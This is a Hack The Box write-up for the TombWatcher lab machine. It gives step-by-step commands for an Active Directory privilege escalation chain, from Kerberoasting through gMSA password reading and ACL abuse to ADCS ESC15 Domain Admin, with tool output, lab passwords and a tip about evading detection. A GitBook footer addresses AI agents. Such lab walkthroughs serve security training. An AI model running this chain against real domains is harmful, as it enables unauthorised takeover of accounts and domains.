> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/tombwatcher-htb-writeup-or-by-alham-rizvi.md).

# Tombwatcher - HTB Writeup | By Alham Rizvi

<figure><img src="/files/FhkXMA1L5sv7dMOcUV1o" alt=""><figcaption></figcaption></figure>

> **Hack The Box Machine**\
> **Name:** TombWatcher\
> **Difficulty:** Medium\
> **OS:** Windows Server 2019 (Domain Controller)\
> **Domain:** `tombwatcher.htb`\
> **Starting Credentials:** `henry:H3nry_987TGV!`\
> **Date:** 2026-07-17

***

### Box Info

| Field      | Detail                                                         |
| ---------- | -------------------------------------------------------------- |
| Name       | [TombWatcher](https://app.hackthebox.com/machines/TombWatcher) |
| OS         | Windows Server 2019 (Build 17763)                              |
| Difficulty | Medium                                                         |
| Domain     | `tombwatcher.htb`                                              |
| Hostname   | `DC01.tombwatcher.htb`                                         |

***

### Overview

TombWatcher is a Medium Windows Domain Controller machine that chains together **six distinct Active Directory attack primitives**:

1. **Targeted Kerberoasting** – Abuse of `WriteSPN` rights to make a user "roastable".
2. **Self-Membership Abuse** – Using `AddSelf` rights to join a privileged group.
3. **gMSA Password Reading** – Extracting a Group Managed Service Account password.
4. **ForceChangePassword** – Resetting a user's password with extended rights.
5. **WriteOwner to FullControl** – Taking ownership of an object to gain full control.
6. **ADCS ESC15 (CVE-2024-49019)** – Abusing certificate services to impersonate the Domain Administrator.

Each stage's output becomes the next stage's credential. This makes the box an excellent learning exercise for understanding how AD privilege escalation chains work in practice.

***

### 1. Reconnaissance

#### 1.1 Port Scanning

A full port scan reveals a typical Domain Controller footprint:

```bash
$ nmap -p- -sS -sV -n -Pn 10.129.232.67
```

**Key open ports:**

| Port      | Service  | Notes                     |
| --------- | -------- | ------------------------- |
| 53/tcp    | DNS      | Simple DNS Plus           |
| 80/tcp    | HTTP     | Microsoft IIS 10.0        |
| 88/tcp    | Kerberos | Domain authentication     |
| 389/tcp   | LDAP     | Active Directory LDAP     |
| 445/tcp   | SMB      | File sharing              |
| 5985/tcp  | WinRM    | Windows Remote Management |
| 636/tcp   | LDAPS    | LDAP over SSL             |
| 3268/3269 | LDAP     | Global Catalog            |

Add the domain to `/etc/hosts`:

```bash
$ echo "10.129.232.67 tombwatcher.htb DC01.tombwatcher.htb" | sudo tee -a /etc/hosts
```

***

### 2. Initial Foothold – SMB Enumeration

We have starting credentials: `henry:H3nry_987TGV!`. Validate them and enumerate shares:

```bash
$ netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares
SMB         10.129.232.67  445    DC01    [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB         10.129.232.67  445    DC01    NETLOGON    READ
SMB         10.129.232.67  445    DC01    SYSVOL      READ
```

Credentials are valid. No unusual shares, but `NETLOGON` and `SYSVOL` are accessible (standard DC shares).

***

Before diving into the attack, let's understand the core Active Directory concepts used in this machine.

#### 3.2 Kerberos Authentication

Kerberos is the default authentication protocol in AD. It uses **tickets** instead of passwords for authentication:

1. User logs in → gets a **Ticket Granting Ticket (TGT)** from the Key Distribution Center (KDC).
2. User wants to access a service → presents TGT to KDC → receives a **Ticket Granting Service (TGS)** ticket.
3. User presents TGS to the service → service validates the ticket → access granted.

**Key point:** TGS tickets are encrypted with the **service account's NTLM hash**. If an attacker can get a TGS ticket, they can crack it offline to recover the password.

#### 3.3 Service Principal Names (SPNs)

An SPN is a unique identifier for a service running on a specific computer. For example, `HTTP/webserver.domain.com` identifies an HTTP service. When a service starts, it registers its SPN in AD. Clients use SPNs to find the correct service.

**Important:** Only accounts that run services should have SPNs. User accounts with SPNs are "roastable" – attackers can request TGS tickets for them.

#### 3.4 Kerberoasting

**Kerberoasting** is an attack where an attacker requests a TGS ticket for any account that has an SPN. The ticket is encrypted with the account's password hash. The attacker can then crack the hash offline.

**Targeted Kerberoasting** is when an attacker has `WriteSPN` rights on a user account. They can add a fake SPN to the account, making it "roastable" even if it wasn't meant to be a service account.

#### 3.5 Groups and Permissions

AD objects have **Access Control Lists (ACLs)** that define who can do what to which objects. Common permissions:

| Permission            | Meaning                                             |
| --------------------- | --------------------------------------------------- |
| `WriteSPN`            | Can add/modify Service Principal Names on an object |
| `AddSelf`             | Can add themselves to a group                       |
| `GenericWrite`        | Can modify any attribute of an object               |
| `WriteOwner`          | Can change who owns an object                       |
| `ForceChangePassword` | Can reset another user's password                   |
| `FullControl`         | Complete control over an object                     |

#### 3.6 gMSA (Group Managed Service Accounts)

Group Managed Service Accounts are special accounts whose passwords are managed automatically by the domain. The password rotates periodically and is never known to humans. However, any principal listed in the gMSA's `PrincipalsAllowedToReadPassword` attribute can retrieve the current password via LDAP.

#### 3.7 ADCS (Active Directory Certificate Services)

ADCS is Microsoft's Public Key Infrastructure (PKI) solution. It issues digital certificates that can be used for authentication, encryption, and code signing. Certificate templates define what information goes into a certificate.

**ESC (Enrollment Service Certificate) vulnerabilities** are misconfigurations in ADCS that allow attackers to request certificates for arbitrary users. ESC15 (CVE-2024-49019) affects schema version 1 templates that allow the enrollee to supply the subject.

#### 3.8 The AD Recycle Bin

When objects are deleted in AD (with the Recycle Bin feature enabled), they're moved to the `CN=Deleted Objects` container. They can be restored if you have the necessary permissions. This is useful for recovering accidentally deleted accounts – or for attackers who want to restore a deleted privileged account.

### **Bloodhound Out**

```
╔════════════════════════════════════════════════════════════════════════════════════╗
║                         PERMISSION GRAPH (BLOODHOUND VIEW)                        ║
╚════════════════════════════════════════════════════════════════════════════════════╝

┌─────────────────────────────────────────────────────────────────────────────────────┐
│                                   NODES                                              │
├─────────────────────────────────────────────────────────────────────────────────────┤
│                                                                                     │
│  [HENRY]          ──▶  [ALFRED]          ──▶  [INFRASTRUCTURE]                     │
│   User                 User                   Group                                 │
│   (starting)           Password:              Members:                              │
│                         basketball            - alfred                              │
│                                                                                     │
│         │                                       │                                   │
│         ▼                                       ▼                                   │
│  [ANSIBLE_DEV$]    ──▶  [SAM]              ──▶  [JOHN]                             │
│   gMSA Account          User                   User                                 │
│   Hash:                 Password:              Password:                            │
│   ecb4146b...227c       password123!           password123!                         │
│         │                                                                           │
│         ▼                                                                           │
│  [CERT_ADMIN]      ──▶  [WEBSERVER]        ──▶  [ADMINISTRATOR]                   │
│   User                 Certificate Template      User (Domain Admin)                │
│   Password:            Vulnerable: ESC15        Password: Password123!              │
│   Abc123456@           Enroll Rights:           (Set via cert)                     │
│                        cert_admin                                                   │
│                                                                                     │
└─────────────────────────────────────────────────────────────────────────────────────┘

╔════════════════════════════════════════════════════════════════════════════════════╗
║                              EDGE RELATIONSHIPS                                    ║
╚════════════════════════════════════════════════════════════════════════════════════╝

┌───────────────┬────────────────────────────┬─────────────────────────────────────┐
│   SOURCE      │       PERMISSION            │        TARGET                      │
├───────────────┼────────────────────────────┼─────────────────────────────────────┤
│               │                            │                                     │
│ HENRY         │ WriteSPN                   │ ALFRED                              │
│               │ (Can add SPN to user)      │                                     │
│               │                            │                                     │
│ ALFRED        │ AddSelf                    │ INFRASTRUCTURE Group                │
│               │ (Can add self to group)    │                                     │
│               │                            │                                     │
│ INFRASTRUCTURE│ ReadGMSAPassword           │ ANSIBLE_DEV$ (gMSA)                │
│ Group         │ (Can read gMSA hash)       │                                     │
│               │                            │                                     │
│ ANSIBLE_DEV$  │ ForceChangePassword        │ SAM                                │
│               │ (Can reset password)       │                                     │
│               │                            │                                     │
│ SAM           │ WriteOwner                 │ JOHN                               │
│               │ (Can change object owner)  │                                     │
│               │                            │                                     │
│ SAM (as Owner)│ FullControl                │ JOHN                               │
│               │ (Granted via DACL write)   │                                     │
│               │                            │                                     │
│ JOHN          │ Restore-ADObject           │ CERT_ADMIN                         │
│               │ (Can restore deleted obj)  │                                     │
│               │                            │                                     │
│ CERT_ADMIN    │ Enroll                     │ WEBSERVER Template                 │
│               │ (Can request cert)         │                                     │
│               │                            │                                     │
│ CERT_ADMIN    │ ESC15 (CVE-2024-49019)     │ ADMINISTRATOR                      │
│               │ (UPN spoof via cert)       │                                     │
│               │                            │                                     │
│ ADMINISTRATOR │ FullControl (Domain)       │ DOMAIN (root.txt)                  │
│               │ (Complete domain access)   │                                     │
│               │                            │                                     │
└───────────────┴────────────────────────────┴─────────────────────────────────────┘
```

<div><figure><img src="/files/VjkM1Au12ax34CDN2pNn" alt=""><figcaption></figcaption></figure> <figure><img src="/files/VR0b9nqrBcFlXIndle0x" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/wg4vuXcagbHiBevf1P2R" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/F3cb0WeUVfeaSAVMkJBT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0kfq9AtCFJzfBmxeKDAe" alt=""><figcaption></figcaption></figure>

###

### 4. Stage 1 – Targeted Kerberoasting → Alfred

#### 4.1 What We Discovered

BloodHound enumeration (or manual ACL inspection) reveals that `henry` has **`WriteSPN`** rights over the `Alfred` user object. This means we can add a fake SPN to Alfred's account and then Kerberoast it.

#### 4.2 Why This Works

Normally, Kerberoasting only works against accounts that already have SPNs (service accounts). By writing an SPN onto Alfred's account, we make it "roastable" even though it was never meant to be a service account.

#### 4.3 Step-by-Step Execution

**Step 1 – Sync the system clock**

Kerberos requires the client's clock to be within 5 minutes of the Domain Controller:

```bash
$ sudo ntpdate tombwatcher.htb
```

**Step 2 – Add a fake SPN to Alfred**

We use `bloodyAD` (or `netexec` with the appropriate module) to add an SPN:

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' set object ALFRED servicePrincipalName -v 'http/pwned'
```

Alternatively, using `targetedKerberoast.py`:

```bash
$ python3 targetedKerberoast.py -d tombwatcher.htb -u henry -p H3nry_987TGV! -v
```

This tool adds the SPN, requests the TGS ticket, and then removes the SPN automatically.

**Step 3 – Request the TGS ticket**

If using `bloodyAD` manually, we can use `netexec`'s Kerberoasting module:

```bash
$ netexec ldap DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --kerberoasting kerberoast_output.txt
```

**Step 4 – Crack the hash**

The resulting hash is in `$krb5tgs$` format (Kerberos TGS, etype 23). We crack it with John the Ripper:

```bash
$ john kerberoast_output.txt --wordlist=/usr/share/wordlists/rockyou.txt
basketball       (?)
```

**Result:** Alfred's password is **`basketball`**.

#### 4.4 What We Learned

* **`WriteSPN` is a powerful permission.** Anyone with this right can turn any user into a Kerberoastable target.
* **Always clean up.** The SPN should be removed after the attack to avoid detection. The `targetedKerberoast.py` tool does this automatically.

***

### 5. Stage 2 – Self-Membership Abuse → INFRASTRUCTURE Group

#### 5.1 What We Discovered

With Alfred's credentials (`alfred:basketball`), BloodHound shows that **Alfred has `AddSelf` rights on the `INFRASTRUCTURE` group**. This means Alfred can add himself to that group.

#### 5.2 Why This Works

The `AddSelf` permission on a group allows a user to add their own account to the group. This is commonly used for self-service group management (e.g., users adding themselves to distribution lists). However, if the group is privileged, this becomes a privilege escalation vector.

#### 5.3 Step-by-Step Execution

**Step 1 – Add Alfred to the INFRASTRUCTURE group**

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u alfred -p basketball add groupMember INFRASTRUCTURE alfred
[+] alfred added to INFRASTRUCTURE
```

**Step 2 – Verify the membership**

Always verify that a privileged write actually landed:

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u alfred -p basketball get object INFRASTRUCTURE --attr member
```

**Result:** Alfred is now a member of the `INFRASTRUCTURE` group.

#### 5.4 What We Learned

* **Always verify writes.** AD operations can be flaky over network connections. A "success" message doesn't always mean the change actually persisted.
* **`AddSelf` on privileged groups is dangerous.** Group membership should be strictly controlled.

***

### 6. Stage 3 – gMSA Password Reading → ansible\_dev$

#### 6.1 What We Discovered

With INFRASTRUCTURE group membership, BloodHound shows that the group has **`PrincipalsAllowedToReadPassword`** rights on the `ansible_dev$` gMSA account. This means we can read the gMSA's current password hash.

#### 6.2 What is gMSA?

Group Managed Service Accounts are domain accounts whose passwords are managed automatically. The password rotates periodically (default 30 days). However, any principal listed in the gMSA's `PrincipalsAllowedToReadPassword` attribute can retrieve the current password via LDAP.

#### 6.3 Step-by-Step Execution

**Step 1 – Read the gMSA password**

Using `netexec`'s gMSA module:

```bash
$ netexec ldap DC01.tombwatcher.htb -u alfred -p basketball --gmsa
```

Or using a dedicated gMSA dumper:

```bash
$ python3 gMSADumper.py -d tombwatcher.htb -u alfred -p basketball
```

**Output:**

```
ansible_dev$:::ecb4146b3f99e6bbf06ca896f504227c
```

**Result:** The NTLM hash for `ansible_dev$` is `ecb4146b3f99e6bbf06ca896f504227c`.

#### 6.4 Important Operational Note

gMSA passwords rotate periodically. If you dump the hash and then spend time troubleshooting before using it, the hash may already be stale. **Always use the hash immediately after dumping it.**

#### 6.5 What We Learned

* **gMSA passwords are readable by anyone with the right permission.** This makes them a valuable target.
* **Group membership matters.** The INFRASTRUCTURE group membership gave us the ability to read the gMSA password.

***

### 7. Stage 4 – ForceChangePassword → sam

#### 7.1 What We Discovered

BloodHound shows that `ansible_dev$` has **`ForceChangePassword`** rights over the `sam` user account. This is the ability to reset another user's password without knowing their current password.

#### 7.2 Step-by-Step Execution

**Step 1 – Reset sam's password**

Using `bloodyAD` with the NTLM hash of `ansible_dev$`:

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u 'ansible_dev$' -p ':ecb4146b3f99e6bbf06ca896f504227c' set password sam 'password123!'
[+] Password changed successfully!
```

**Note:** The `-p ':hash'` syntax tells `bloodyAD` to use an NTLM hash (no LM hash).

#### 7.3 What We Learned

* **`ForceChangePassword` is a powerful extended right.** Anyone with this right can reset another user's password without the old password.
* **Service accounts often have broad privileges.** The `ansible_dev$` account was a gMSA with privileged rights.

***

### 8. Stage 5 – WriteOwner to FullControl → john

#### 8.1 What We Discovered

After resetting sam's password, BloodHound shows that `sam` has **`WriteOwner`** rights over the `john` user account.

#### 8.2 Why `WriteOwner` Matters

`WriteOwner` allows a user to change who owns an AD object. **Ownership carries implicit rights** – the owner of an object can always modify its ACL, even if the current ACL doesn't explicitly grant them write access.

This is a well-known AD privilege escalation primitive:

1. WriteOwner → take ownership of the target.
2. As the new owner, grant yourself FullControl.
3. Reset the target's password.

#### 8.3 Step-by-Step Execution

**Step 1 – Take ownership of john**

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u sam -p 'password123!' set owner john sam
[+] Old owner S-1-5-21-... is now replaced by sam on john
```

**Step 2 – Grant sam FullControl over john**

Using `impacket-dacledit`:

```bash
$ impacket-dacledit -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' tombwatcher.htb/'sam':'password123!'
[*] DACL backed up to dacledit-20250819-223046.bak
[*] DACL modified successfully!
```

**Step 3 – Reset john's password**

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u sam -p 'password123!' set password john 'password123!'
[+] Password changed successfully!
```

**Step 4 – WinRM access as john**

```bash
$ evil-winrm -i tombwatcher.htb -u john -p 'password123!'
*Evil-WinRM* PS C:\Users\john\Desktop> type user.txt
[REDACTED]
```

**User flag obtained.**

#### 8.4 What We Learned

* **WriteOwner is effectively FullControl.** Ownership gives you the ability to modify permissions.
* **The DACL escalation chain:** WriteOwner → take ownership → grant FullControl → password reset.

***

### 9. Stage 6 – Restoring a Deleted Account → cert\_admin

#### 9.1 What We Discovered

From john's shell, we can enumerate deleted objects in AD. The **AD Recycle Bin** feature (enabled on this domain) keeps deleted objects in the `CN=Deleted Objects` container for a period (default 180 days).

#### 9.2 What is the AD Recycle Bin?

When objects are deleted in AD (with the Recycle Bin feature enabled), they aren't immediately purged. They're moved to the `CN=Deleted Objects` container and marked `isDeleted=True`. If you have sufficient rights, you can restore them exactly as they were.

#### 9.3 Step-by-Step Execution

**Step 1 – List deleted objects**

```powershell
*Evil-WinRM* PS C:\Users\john\Desktop> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
```

**Output:**

```
Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name              : cert_admin DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
```

**Step 2 – Restore the account**

```powershell
*Evil-WinRM* PS C:\Users\john\Desktop> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
```

**Step 3 – Enable the account**

Restored accounts come back in a disabled state by default:

```powershell
*Evil-WinRM* PS C:\Users\john\Desktop> Enable-ADAccount -Identity cert_admin
```

**Step 4 – Set a new password**

```powershell
*Evil-WinRM* PS C:\Users\john\Desktop> Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Abc123456@" -AsPlainText -Force)
```

**Result:** We now have credentials for `cert_admin:Abc123456@`.

#### 9.4 Important Note on Lab Stability

On shared HTB instances, deleted objects are sometimes re-deleted or reset automatically. If the account disappears again, just re-run the restore steps.

#### 9.5 What We Learned

* **Deleted objects are not truly gone.** The AD Recycle Bin can be used to recover accounts.
* **Restored accounts are disabled by default.** Always enable them and set a new password.
* **The `cert_admin` account existed for a reason.** The name suggests it's related to certificate services.

***

### 10. Stage 7 – ADCS ESC15 (CVE-2024-49019) → Administrator

#### 10.1 What We Discovered

With `cert_admin` credentials, we run `certipy-ad find` to enumerate certificate templates:

```bash
$ certipy-ad find -u cert_admin -p "Abc123456@" -dc-ip 10.129.232.67 -vulnerable
```

**Key finding:**

```
Template Name          : WebServer
Enrollee Supplies Subject : True
Schema Version         : 1
Application Policies   : Server Authentication
Vulnerabilities        : ESC15
Enrollment Rights      : TOMBWATCHER.HTB\cert_admin
```

#### 10.2 What is ESC15 (CVE-2024-49019)?

**ESC15** affects Certificate Services templates with:

1. **Schema Version 1** – older templates that don't enforce modern security controls.
2. **Enrollee Supplies Subject** – the requester can specify who the certificate is for.
3. **Server Authentication EKU** – the certificate can be used for authentication.

Because the template has `Enrollee Supplies Subject`, we can request a certificate with the UPN `administrator@tombwatcher.htb`. Because it's schema v1, the CA doesn't enforce application policy restrictions. And because `cert_admin` has Enroll rights, we can request it.

#### 10.3 The Attack Flow

1. Request a certificate with UPN = `administrator@tombwatcher.htb`.
2. Request the `Client Authentication` application policy (so the certificate can be used for logon).
3. The CA issues the certificate because we have Enroll rights.
4. Use the certificate to authenticate via PKINIT/Schannel.
5. The certificate maps to Administrator because the UPN matches.
6. Set the Administrator's password via LDAP.

#### 10.4 Step-by-Step Execution

**Step 1 – Request the certificate**

```bash
$ certipy-ad req -u cert_admin -p "Abc123456@" \
  -dc-ip 10.129.232.67 -target 'tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' -template 'Webserver' \
  -upn 'administrator@tombwatcher.htb' \
  -application-policies 'Client Authentication'
```

**Output:**

```
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Saving certificate and private key to 'administrator.pfx'
```

**Step 2 – Authenticate with the certificate**

```bash
$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip '10.129.232.67' -ldap-shell
```

`-ldap-shell` gives us an interactive LDAP shell authenticated as Administrator.

**Step 3 – Change Administrator's password**

```
# change_password administrator Password123!
Attempting to set new password of: Password123!
Password changed successfully!
```

**Step 4 – WinRM as Administrator**

```bash
$ evil-winrm -i tombwatcher.htb -u 'Administrator' -p 'Password123!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
```

**Root flag obtained.**

#### 10.5 What We Learned

* **ADCS misconfigurations are extremely dangerous.** ESC15 gave us Domain Admin without ever knowing a password.
* **Schema version matters.** Version 1 templates lack modern security controls.
* **`Enrollee Supplies Subject` is a red flag.** Templates that allow this should be audited carefully.

***

### 11. Full Attack Chain Summary

```mermaid
flowchart TD
    A[henry: H3nry_987TGV!] --> B[WriteSPN on Alfred]
    B --> C[Targeted Kerberoasting]
    C --> D[alfred: basketball]
    D --> E[AddSelf to INFRASTRUCTURE]
    E --> F[Read gMSA Password]
    F --> G[ansible_dev$: NTLM hash]
    G --> H[ForceChangePassword on sam]
    H --> I[sam: password123!]
    I --> J[WriteOwner on john]
    J --> K[Grant FullControl]
    K --> L[Reset john password]
    L --> M[john: password123!]
    M --> N[user.txt]
    M --> O[Restore cert_admin]
    O --> P[cert_admin: Abc123456@]
    P --> Q[ADCS ESC15]
    Q --> R[Request certificate as Administrator]
    R --> S[Authenticate via PKINIT]
    S --> T[Set Administrator password]
    T --> U[Administrator: Password123!]
    U --> V[root.txt]
```

| Stage | From               | Technique                                 | To                           |
| ----- | ------------------ | ----------------------------------------- | ---------------------------- |
| 1     | henry              | WriteSPN → Targeted Kerberoasting         | Alfred (basketball)          |
| 2     | Alfred             | AddSelf to INFRASTRUCTURE                 | INFRASTRUCTURE membership    |
| 3     | INFRASTRUCTURE     | Read gMSA Password                        | ansible\_dev$ (NTLM hash)    |
| 4     | ansible\_dev$      | ForceChangePassword                       | sam (password123!)           |
| 5     | sam                | WriteOwner → FullControl → password reset | john (password123!)          |
| 6     | john               | Restore deleted object                    | cert\_admin (Abc123456@)     |
| 7     | cert\_admin        | ADCS ESC15 (CVE-2024-49019)               | Administrator certificate    |
| 8     | Administrator cert | PKINIT/Schannel authentication            | Administrator (Password123!) |

***

### 12. Key Active Directory Concepts Explained

#### 12.1 Kerberos and SPNs

| Concept                | Explanation                                                                       |
| ---------------------- | --------------------------------------------------------------------------------- |
| TGT                    | Ticket Granting Ticket – obtained at login, used to request service tickets       |
| TGS                    | Ticket Granting Service – used to access specific services                        |
| SPN                    | Service Principal Name – identifies a service; accounts with SPNs are "roastable" |
| Kerberoasting          | Requesting TGS tickets and cracking them offline                                  |
| Targeted Kerberoasting | Writing an SPN to a non-service account to make it roastable                      |

#### 12.2 AD Permissions

| Permission          | What it allows                     |
| ------------------- | ---------------------------------- |
| WriteSPN            | Add/modify Service Principal Names |
| AddSelf             | Add your own account to a group    |
| GenericWrite        | Modify any attribute of an object  |
| WriteOwner          | Change who owns an object          |
| ForceChangePassword | Reset another user's password      |
| FullControl         | Complete control over an object    |

#### 12.3 gMSA (Group Managed Service Accounts)

* **What they are:** Special accounts whose passwords are managed automatically by the domain.
* **Why they're used:** Service accounts that don't need human-interactive logons.
* **How they're accessed:** The `PrincipalsAllowedToReadPassword` attribute lists who can read the gMSA password.

#### 12.4 ADCS (Active Directory Certificate Services)

| Concept        | Explanation                                        |
| -------------- | -------------------------------------------------- |
| CA             | Certification Authority – issues certificates      |
| Template       | Defines what certificates can be issued            |
| ESC            | Enrollment Service Certificate vulnerability       |
| ESC15          | Schema v1 + EnrolleeSuppliesSubject → UPN spoofing |
| CVE-2024-49019 | Allows arbitrary application policy injection      |

#### 12.5 The AD Recycle Bin

* **What it is:** Keeps deleted objects for 180 days (default).
* **How to use it:** `Restore-ADObject` to bring back deleted accounts.
* **Why it matters:** Attackers can restore deleted privileged accounts.

***

### 13. Tooling Notes and Troubleshooting

#### 13.1 Common Issues

| Issue                           | Solution                                                 |
| ------------------------------- | -------------------------------------------------------- |
| Clock skew                      | `sudo ntpdate tombwatcher.htb`                           |
| Impacket version conflicts      | `pip install --upgrade --break-system-packages impacket` |
| Certipy version sensitivity     | `pip install --break-system-packages certipy-ad==5.0.2`  |
| Bash history expansion with `!` | `set +H` or escape with `\!`                             |
| gMSA hash stale                 | Re-dump immediately before use                           |

#### 13.2 Trusting Tool Output

Always verify a "success" message on a privileged write with an independent read:

```bash
$ bloodyAD --host 10.129.232.67 -d tombwatcher.htb -u alfred -p basketball get object INFRASTRUCTURE --attr member
```

***

### 14. Flags

| Flag | User            | Hash         |
| ---- | --------------- | ------------ |
| User | `john`          | `[REDACTED]` |
| Root | `Administrator` | `[REDACTED]` |

***

### 15. Lessons Learned

1. **AD permissions chain.** One permission leads to another. `WriteSPN` → Kerberoast → `AddSelf` → gMSA → `ForceChangePassword` → `WriteOwner` → certificate services. Always follow the chain.
2. **Service accounts are powerful.** The `ansible_dev$` gMSA had far-reaching privileges. This is common in real networks where automation accounts are overprivileged.
3. **Deleted objects are not gone.** If the AD Recycle Bin is enabled (and it often is), deleted accounts can be restored. This is useful for recovery and dangerous for security.
4. **ADCS is a common attack surface.** Certificate services are often set up once and never reviewed. Misconfigurations like ESC15 are widespread.
5. **Always verify writes.** Don't trust a "success" message. Check the actual AD object to confirm changes landed.
6. **Kerberos is sensitive to time.** Sync the clock before any Kerberos-dependent operation.

***

*Machine pwned – Happy Hacking!*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/tombwatcher-htb-writeup-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
